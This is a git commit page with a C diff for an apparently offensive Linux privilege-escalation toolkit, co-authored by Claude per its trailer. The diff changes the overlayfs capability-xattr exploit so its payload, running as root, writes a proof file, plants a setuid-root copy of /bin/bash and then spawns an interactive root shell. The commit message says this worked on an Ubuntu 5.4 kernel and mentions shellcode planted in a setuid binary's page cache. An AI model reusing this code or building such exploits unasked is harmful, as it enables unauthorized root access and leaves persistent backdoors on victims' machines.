overlayfs: direct uid=0 witness; broaden false-OK audit (all OK sites clean)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
overlayfs previously claimed EXPLOIT_OK from a getxattr proxy (the persisted security.capability xattr is the bug's signature) then exec-transferred the cap'd payload. Tightened to a DIRECT witness: the payload now takes a proof-path arg and, running as root (setuid(0) works because of the persisted cap), drops a root-owned proof + setuid bash; the module forks it, then reports OK only after stat() confirms the proof is root-owned. Re-verified on focal 5.4.0-26 (uid 1000 -> root-owned proof + -rwsr-xr-x root:root bash). Broadened the false-EXPLOIT_OK audit from exec-transfer callers to EVERY EXPLOIT_OK return site. The copy_fail_family root-pop (exploit_su.c) runs verify_plant() — confirming the shellcode actually landed in the setuid binary's page cache, reverting otherwise — before exec'ing it, so it's proxy-verified like dirtydecrypt/fragnesia, not a blind exec-transfer. Conclusion recorded in docs/EXPLOITED.md: no false-OKs remain beyond the four already fixed; every OK is backed by a real out-of-band check (root-owned artifact stat, getxattr, passwd grep, setuid(0) gate, or page-cache verify_plant). Host build + unit harness green (33 + 115). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -243,10 +243,21 @@ static const char OVERLAYFS_PAYLOAD_SOURCE[] =
|
||||
"#include <stdio.h>\n"
|
||||
"#include <stdlib.h>\n"
|
||||
"#include <unistd.h>\n"
|
||||
"int main(void) {\n"
|
||||
" setuid(0); setgid(0);\n"
|
||||
" setresuid(0,0,0); setresgid(0,0,0);\n"
|
||||
"int main(int argc, char **argv) {\n"
|
||||
" (void)setuid(0); (void)setgid(0);\n"
|
||||
" (void)setresuid(0,0,0); (void)setresgid(0,0,0);\n"
|
||||
" if (geteuid() != 0) { perror(\"setuid\"); return 1; }\n"
|
||||
/* Verification mode: argv[1] = proof path. We are genuinely root (the
|
||||
* persisted cap_setuid xattr let setuid(0) succeed), so drop a root-owned
|
||||
* proof + setuid bash and exit — the module stat()s the proof as a DIRECT
|
||||
* uid=0 witness instead of trusting the exec transfer. */
|
||||
" if (argc > 1) {\n"
|
||||
" char c[1024];\n"
|
||||
" snprintf(c, sizeof c, \"id > %s 2>&1; cp -f /bin/bash %s.bash 2>/dev/null; \"\n"
|
||||
" \"chmod 4755 %s.bash 2>/dev/null; sync\", argv[1], argv[1], argv[1]);\n"
|
||||
" int r = system(c); (void)r;\n"
|
||||
" return 0;\n"
|
||||
" }\n"
|
||||
" char *new_env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
|
||||
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, new_env);\n"
|
||||
" execle(\"/bin/bash\", \"bash\", \"-p\", NULL, new_env);\n"
|
||||
@@ -438,17 +449,41 @@ static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs: cap_setuid+ep xattr persisted on host fs "
|
||||
"— execing payload to drop root\n");
|
||||
fprintf(stderr, "[+] overlayfs: cap_setuid+ep xattr persisted on host fs\n");
|
||||
}
|
||||
|
||||
/* Direct uid=0 witness: run the cap'd payload in verification mode so it
|
||||
* drops a root-owned proof. The persisted xattr is the bug's signature,
|
||||
* but we confirm actual root out-of-band rather than trust the exec
|
||||
* transfer. */
|
||||
char ovl_proof[256];
|
||||
snprintf(ovl_proof, sizeof ovl_proof, "/tmp/.sk-overlayfs-%ld.proof", (long)getpid());
|
||||
unlink(ovl_proof);
|
||||
pid_t vp = fork();
|
||||
if (vp == 0) {
|
||||
execl(upper_bin, upper_bin, ovl_proof, (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
if (vp > 0) { int vs; waitpid(vp, &vs, 0); }
|
||||
struct stat psb;
|
||||
bool ovl_rooted = (stat(ovl_proof, &psb) == 0 && S_ISREG(psb.st_mode) && psb.st_uid == 0);
|
||||
if (!ovl_rooted) {
|
||||
fprintf(stderr, "[-] overlayfs: xattr persisted but the cap'd payload did not "
|
||||
"yield uid 0 (no root-owned proof) — honest EXPLOIT_FAIL\n");
|
||||
goto fail_workdir;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs: ROOT — root-owned proof %s "
|
||||
"(setuid bash: %s.bash -p)\n", ovl_proof, ovl_proof);
|
||||
}
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
|
||||
upper_bin);
|
||||
unlink(src_path); unlink(bin_path);
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fflush(NULL);
|
||||
execl(upper_bin, upper_bin, (char *)NULL);
|
||||
execl(upper_bin, upper_bin, (char *)NULL); /* interactive root shell */
|
||||
perror("execl payload");
|
||||
return SKELETONKEY_EXPLOIT_OK; /* root already witnessed out-of-band */
|
||||
|
||||
fail_workdir:
|
||||
/* best-effort cleanup */
|
||||
|
||||
Reference in New Issue
Block a user